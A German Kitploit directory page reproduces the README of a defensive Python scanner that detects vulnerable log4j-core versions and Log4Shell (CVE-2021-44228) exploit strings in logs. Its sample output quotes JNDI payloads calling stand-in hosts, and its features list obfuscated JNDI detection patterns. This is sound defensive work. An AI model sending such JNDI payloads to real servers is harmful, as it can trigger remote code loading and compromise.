Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4shell-scanner — Leichtgewichtiger Scanner, der verwundbare Log4j-Versionen und Log4Shell-Indikatoren (CVE-2021-44228) in einem Dateisystembaum erkennt. | Kitploit
Tools/GitHubGitHub/arpitgupta369/log4shell-scanner
DefensivwerkzeugeSchwachstellenscannerSchwachstellenanalyseLieferkettensicherheitLernen & BildungLog-Analyse
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

Leichtgewichtiger Scanner, der verwundbare Log4j-Versionen und Log4Shell-Indikatoren (CVE-2021-44228) in einem Dateisystembaum erkennt.

Repository anzeigen
16vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

log4shell-scanner

Ein abhängigkeitsfreier, defensiver Scanner für Log4Shell — findet verwundbare log4j-core-JARs und JNDI-Exploit-Muster in Logs und Konfigurationen.

Warum dieses Projekt

Während meiner CERT-In-Rotation arbeitete ich an Bedrohungserkennung, Eingrenzung, Behebung und Threat Hunting — genau dem Arbeitsablauf, den Log4Shell (CVE-2021-44228) im Dezember 2021 in großem Umfang erforderte: jedes verwundbare log4j-core-Artefakt in einer Flotte finden und Logs nach ${jndi:...}-Exploit-Versuchen durchsuchen. Dieser Scanner bildet diesen defensiven Arbeitsablauf in einem einzigen, portablen Python-Skript mit Standardbibliothek ab, das auf dem untersuchten Host nichts installiert haben muss.

Funktionen

  • Archiv-Erkennung — durchläuft einen Verzeichnisbaum nach .jar- / .war- / .ear-Dateien.
  • Maßgebliche Versionserkennung — liest pom.properties und aus jedem Archiv mit und fällt auf den Dateinamen zurück; unterscheidet echte log4j-core von nicht verwandten JARs.
MANIFEST.MF
zipfile
  • CVE-Kennzeichnung für die Log4Shell-Familie:
    • CVE-2021-44228 (RCE) — log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046 (unvollständiger Fix) — bis 2.15.0
    • CVE-2021-45105 (DoS) — bis 2.16.0
  • Exploit-Muster-Suche — durchsucht Logs/Konfigurationen/Quellcode nach ${jndi:ldap:// und gängigen Verschleierungen (${${lower:j}ndi:…}, durch eine geschweifte Klammer getrenntes j}ndi:, ${::-j}).
  • Umsetzbare Behebung — Upgrade auf 2.17.1+ oder Entfernen von JndiLookup.class, zusätzlich Hinweise zur Überwachung des ausgehenden Datenverkehrs.
  • Enthaltene Beispielstruktur mit einer vorgetäuschten verwundbaren log4j-core-2.14.1.jar (echtes ZIP mit einer log4j-core-pom.properties), einer gepatchten 2.17.1.jar, einem nicht verwandten JAR und einem Log mit JNDI-Payloads.
  • --demo erstellt und scannt die Beispielstruktur Ende-zu-Ende.
  • Reine Python-Standardbibliothek (os, re, zipfile). Keine Abhängigkeiten.
  • Technologie-Stack

    Python 3 (nur Standardbibliothek: argparse, os, re, zipfile).

    Installation

    root@kitploit:~
    git clone https://github.com/arpitgupta369/log4shell-scanner.git
    cd log4shell-scanner
    python --version   # Python 3.8+
    # no dependencies to install
    

    Verwendung

    Führe die Demo gegen die enthaltene Beispielstruktur aus:

    root@kitploit:~
    python log4shell_scan.py --demo
    

    Erwartete Ausgabe (gekürzt):

    root@kitploit:~
    --- Archives (log4j-core detection) ---
      [ok]         .../commons-lang3-3.12.0.jar
            version: unknown   (via no log4j-core detected)
      [VULNERABLE] .../log4j-core-2.14.1.jar
            version: 2.14.1   (via pom.properties (...))
            !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
            !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
            !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
      [ok]         .../log4j-core-2.17.1.jar
            version: 2.17.1   (via pom.properties (...))
    
    --- Exploit-pattern matches (JNDI payloads in text/logs) ---
      [MATCH] .../access.log (2 hit(s))
            L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
            L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
    
    --- Summary ---
      Vulnerable archives:      1
      Files with JNDI patterns: 1
    

    Scanne jedes Verzeichnis, dessen Prüfung dir gestattet ist:

    root@kitploit:~
    python log4shell_scan.py /path/to/deployed/app
    

    Der Prozess-Exit-Code ist 1, wenn etwas Verwundbares oder Verdächtiges gefunden wird, und 0, wenn alles sauber ist — praktisch für CI-/Pipeline-Gating.

    Baue die Beispielstruktur jederzeit neu:

    root@kitploit:~
    python log4shell_scan.py --build-samples
    

    Projektstruktur

    root@kitploit:~
    log4shell-scanner/
    ├── log4shell_scan.py      # scanner + sample-tree builder + CLI
    ├── samples/
    │   └── app/
    │       ├── libs/
    │       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
    │       │   ├── log4j-core-2.17.1.jar     # patched jar
    │       │   └── commons-lang3-3.12.0.jar  # unrelated jar
    │       ├── logs/
    │       │   └── access.log                # contains JNDI payloads
    │       └── config.properties             # benign (should not match)
    ├── README.md
    ├── LICENSE
    └── .gitignore
    

    Haftungsausschluss

    Nur für lehrreiche, defensive und autorisierte Zwecke. Führe ihn nur gegen Systeme und Artefakte aus, deren Prüfung dir gestattet ist. Der Scanner liest und gleicht nur Muster ab — er führt nichts aus und nutzt nichts aus. Die enthaltenen Beispiel-JARs sind nachgebaute Platzhalter, keine echten Apache-Artefakte, und alle Payload-Hostnamen verwenden nicht routingfähige .test-Namen. Die Versions-CVE-Zuordnungen dienen der Orientierung; überprüfe sie anhand der offiziellen CVE- und Apache-Log4j-Sicherheitshinweise.


    Erstellt von Arpit Gupta — LinkedIn · GitHub

    Tool herunterladen